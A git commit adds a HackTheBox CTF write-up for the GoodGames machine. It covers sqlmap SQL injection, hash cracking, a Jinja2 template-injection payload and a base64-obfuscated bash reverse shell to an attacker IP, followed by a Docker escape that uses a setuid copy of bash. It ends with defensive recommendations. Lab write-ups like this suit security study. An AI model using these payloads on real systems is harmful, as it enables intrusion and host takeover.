This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,208 @@
|
||||
---
|
||||
title: "Writeup - GoodGames (HTB)"
|
||||
date: 2022-03-19
|
||||
slug: "writeup-goodgames-htb"
|
||||
type: "writeup-ctf"
|
||||
---
|
||||
|
||||
This is a writeup for the [GoodGames](https://app.hackthebox.com/machines/GoodGames) machine from the HackTheBox site.
|
||||
|
||||
## Enumeration
|
||||
|
||||
First, let's start with a scan of our target with the following command:
|
||||
|
||||
|
||||
```bash
|
||||
nmap -sV 10.10.11.130
|
||||
```
|
||||
One TCP ports are discovered:
|
||||
|
||||

|
||||
|
||||
- 80/tcp : HTTP web server (Apache 2.4.51)
|
||||
|
||||

|
||||
|
||||
## Exploit
|
||||
|
||||
I start by listing the pages accessible through the website.
|
||||
|
||||

|
||||
|
||||
There are a number of pages, but 3 are pages with a form: login, forgot-password and signup. With a form we can potentially make SQL injection.
|
||||
|
||||
First I get a login request via Burp.
|
||||
|
||||
|
||||
```bash
|
||||
POST /login HTTP/1.1
|
||||
Host: 10.10.11.130
|
||||
Content-Length: 36
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: http://10.10.11.130
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Referer: http://10.10.11.130/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Connection: close
|
||||
|
||||
email=test%40test.fr&password=azerty
|
||||
```
|
||||
I save this request in a "request.txt" file, then I run SQLmap to determine if this form is injection sensitive.
|
||||
|
||||
|
||||
```bash
|
||||
sqlmap -r request.txt
|
||||
```
|
||||
This form is usable, so I use the following command to list the accessible databases:
|
||||
|
||||
|
||||
```bash
|
||||
sqlmap -r request.txt --dbs
|
||||
[...]
|
||||
[12:51:20] [INFO] retrieved: main
|
||||
available databases [2]:
|
||||
[*] information_schema
|
||||
[*] main
|
||||
[...]
|
||||
```
|
||||
I select the database "main" and start to list the different tables.
|
||||
|
||||
|
||||
```bash
|
||||
sqlmap -r request.txt -D main --dump
|
||||
[...]
|
||||
[12:53:58] [INFO] retrieved: blog
|
||||
[12:54:30] [INFO] retrieved: blog_comments
|
||||
[12:55:51] [INFO] retrieved: user
|
||||
[12:56:20] [INFO] fetching columns for table 'blog' in database 'main'
|
||||
[12:56:20] [INFO] retrieved: 15
|
||||
[...]
|
||||
```
|
||||
I select the "user" table and run the following command to dump the data.
|
||||
|
||||
|
||||
```bash
|
||||
sqlmap -r request.txt -D main -T user --dump
|
||||
[...]
|
||||
admin@goodgames.htb
|
||||
[13:00:19] [INFO] retrieved: 1
|
||||
[13:00:23] [INFO] retrieved: admin
|
||||
[13:00:42] [INFO] retrieved: 2b22337f218b2d82dfc3b6f77e7cb8ec
|
||||
[...]
|
||||
```
|
||||
Ok, we have the credentials of the admin user! We just need to get the password hash and run john to decrypt it.
|
||||
|
||||

|
||||
|
||||
John quickly finds the password: superadministrator.
|
||||
|
||||
I can now connect and access the admin panel. This panel is accessible via a subdomain, so I add it in my /etc/hosts file:
|
||||
|
||||
|
||||
```bash
|
||||
10.10.11.130 internal-administration.goodgames.htb
|
||||
```
|
||||
I fill in the credentials I found before and connect to the admin panel of the site.
|
||||
|
||||

|
||||
|
||||
In this panel I find a tab where I can customize the account nickname. Let's determine the PHP template used by the site. For that I use the following github:
|
||||
|
||||
[PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings
|
||||
|
||||
{{< github repo="swisskyrepo/PayloadsAllTheThings" >}}
|
||||
|
||||
|
||||
|
||||
Quickly I determine that the site uses the Jinja2 Template. I will be able to use an injection to execute commands on the server. For that I use the following injection:
|
||||
|
||||
```bash
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
|
||||
```
|
||||
To make a shell reversel it's a bit more complex, I didn't manage to put just the command, so I use the base64 method to avoid that the command is modified during the process.
|
||||
|
||||
To do this I encode my reverse in base64 then I use the following injection to transmit it on the remote server:
|
||||
|
||||
|
||||
```bash
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzEyMzQgMD4mMQo=" | base64 -d | bash').read() }}
|
||||
```
|
||||

|
||||
|
||||
I now have a root shell (I think we are in a docker) and I can get the first flag.
|
||||
|
||||
|
||||
```bash
|
||||
root@3a453ab39d3d:/home/augustus# ls
|
||||
user.txt
|
||||
root@3a453ab39d3d:/home/augustus# cat user.txt
|
||||
dec6a8b304bbe0fdfe4b8c46a3562605
|
||||
```
|
||||
## Privilege escalation
|
||||
|
||||
As said before, I think we are in a docker. What I can confirm after some research.
|
||||
|
||||
After checking my IP, we can safely say that the IP of the host is 172.19.0.1.
|
||||
|
||||

|
||||
|
||||
So I do an nmap scan on the host IP:
|
||||
|
||||

|
||||
|
||||
The SSH port is open! We can now try to connect to the user augustus to exit the docker.
|
||||
|
||||
I first upgrade my reverse shell with the following command (this is very important for the following).
|
||||
|
||||
|
||||
```bash
|
||||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
```
|
||||
I am doing an SSH on the user augustus using the password previously used:
|
||||
|
||||

|
||||
|
||||
I am now in the host machine, interesting thing I notice the nmap file I uploaded in the docker is present in the folder of augustus. But what is even more interesting is that he has kept his root privilege!
|
||||
|
||||

|
||||
|
||||
What I will be able to do is to make a copy of bash. Then in the docker add the execution rights. Then go back to the host and create a bash root.
|
||||
|
||||
To do this, I first copy the bash file from the host machine into the augustus folder:
|
||||
|
||||
|
||||
```bash
|
||||
cp /bin/bash ./
|
||||
|
||||
```
|
||||
Then I go back to the docker and add the following rights:
|
||||
|
||||
|
||||
```bash
|
||||
chown root:root bash
|
||||
chmod 4777 bash
|
||||
```
|
||||
Finally I go back to the host and run a bash root:
|
||||
|
||||
|
||||
```bash
|
||||
augustus@GoodGames:~$ ./bash -p
|
||||
bash-5.1# cat /root/root.txt
|
||||
cat /root/root.txt
|
||||
702332b6faa16ef1b87c5ae52a2ef3df
|
||||
```
|
||||
I now have control of the host machine and can recover the last flag.
|
||||
|
||||
## Recommendations
|
||||
|
||||
To patch this host I think it would be necessary to perform a number of actions:
|
||||
|
||||
- Patch forms to avoid sql injection
|
||||
- Use strong passwords
|
||||
- Do not use the same password for two different services
|
||||
- Do not launch dockers with root privilege
|
||||
Reference in New Issue
Block a user